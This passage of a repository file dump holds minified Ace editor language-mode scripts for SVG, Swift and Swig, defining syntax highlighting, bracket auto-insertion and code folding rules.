this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/svg\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/xml\",\"ace/mode/javascript\",\"ace/mode/svg_highlight_rules\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./xml\").Mode,s=e(\"./javascript\").Mode,o=e(\"./svg_highlight_rules\").SvgHighlightRules,u=e(\"./folding/mixed\").FoldMode,a=e(\"./folding/xml\").FoldMode,f=e(\"./folding/cstyle\").FoldMode,l=function(){i.call(this),this.HighlightRules=o,this.createModeDelegates({\"js-\":s}),this.foldingRules=new u(new a,{\"js-\":new f})};r.inherits(l,i),function(){this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.$id=\"ace/mode/svg\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-swift.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/swift_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){function t(e,t){var n=t.nestable||t.interpolation,r=t.interpolation&&t.interpolation.nextState||\"start\",s={regex:e+(t.multiline?\"\":\"(?=.)\"),token:\"string.start\"},o=[t.escape&&{regex:t.escape,token:\"character.escape\"},t.interpolation&&{token:\"paren.quasi.start\",regex:i.escapeRegExp(t.interpolation.lead+t.interpolation.open),push:r},t.error&&{regex:t.error,token:\"error.invalid\"},{regex:e+(t.multiline?\"\":\"|$\"),token:\"string.end\",next:n?\"pop\":\"start\"},{defaultToken:\"string\"}].filter(Boolean);n?s.push=o:s.next=o;if(!t.interpolation)return s;var u=t.interpolation.open,a=t.interpolation.close,f={regex:\"[\"+i.escapeRegExp(u+a)+\"]\",onMatch:function(e,t,n){this.next=e==u?this.nextState:\"\";if(e==u&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==a&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==u?\"paren.lparen\":\"paren.rparen\"},nextState:r};return[f,s]}function n(){return[{token:\"comment\",regex:\"\\\\/\\\\/(?=.)\",next:[s.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}]},s.getStartRule(\"doc-start\"),{token:\"comment.start\",regex:/\\/\\*/,stateName:\"nested_comment\",push:[s.getTagRule(),{token:\"comment.start\",regex:/\\/\\*/,push:\"nested_comment\"},{token:\"comment.end\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\",caseInsensitive:!0}]}]}var e=this.createKeywordMapper({\"variable.language\":\"\",keyword:\"__COLUMN__|__FILE__|__FUNCTION__|__LINE__|as|associativity|break|case|class|continue|default|deinit|didSet|do|dynamicType|else|enum|extension|fallthrough|for|func|get|if|import|in|infix|init|inout|is|left|let|let|mutating|new|none|nonmutating|operator|override|postfix|precedence|prefix|protocol|return|right|safe|Self|self|set|struct|subscript|switch|Type|typealias|unowned|unsafe|var|weak|where|while|willSet|convenience|dynamic|final|infix|lazy|mutating|nonmutating|optional|override|postfix|prefix|required|static|guard|defer\",\"storage.type\":\"bool|double|Double|extension|float|Float|int|Int|private|public|string|String\",\"constant.language\":\"false|Infinity|NaN|nil|no|null|null|off|on|super|this|true|undefined|yes\",\"support.function\":\"\"},\"identifier\");this.$rules={start:[t('\"',{escape:/\\\\(?:[0\\\\tnr\"']|u{[a-fA-F1-9]{0,8}})/,interpolation:{lead:\"\\\\\",open:\"(\",close:\")\"},error:/\\\\./,multiline:!1}),n({type:\"c\",nestable:!0}),{regex:/@[a-zA-Z_$][a-zA-Z_$\\d\\u0080-\\ufffe]*/,token:\"variable.parameter\"},{regex:/[a-zA-Z_$][a-zA-Z_$\\d\\u0080-\\ufffe]*/,token:e},{token:\"constant.numeric\",regex:/[+-]?(?:0(?:b[01]+|o[0-7]+|x[\\da-fA-F])|\\d+(?:(?:\\.\\d*)?(?:[PpEe][+-]?\\d+)?)\\b)/},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(u,o),t.HighlightRules=u}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/swift\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/swift_highlight_rules\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./swift_highlight_rules\").HighlightRules,o=e(\"./behaviour/cstyle\").CstyleBehaviour,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=s,this.foldingRules=new u,this.$behaviour=new o};r.inherits(a,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\",nestable:!0},this.$id=\"ace/mode/swift\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-swig.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var 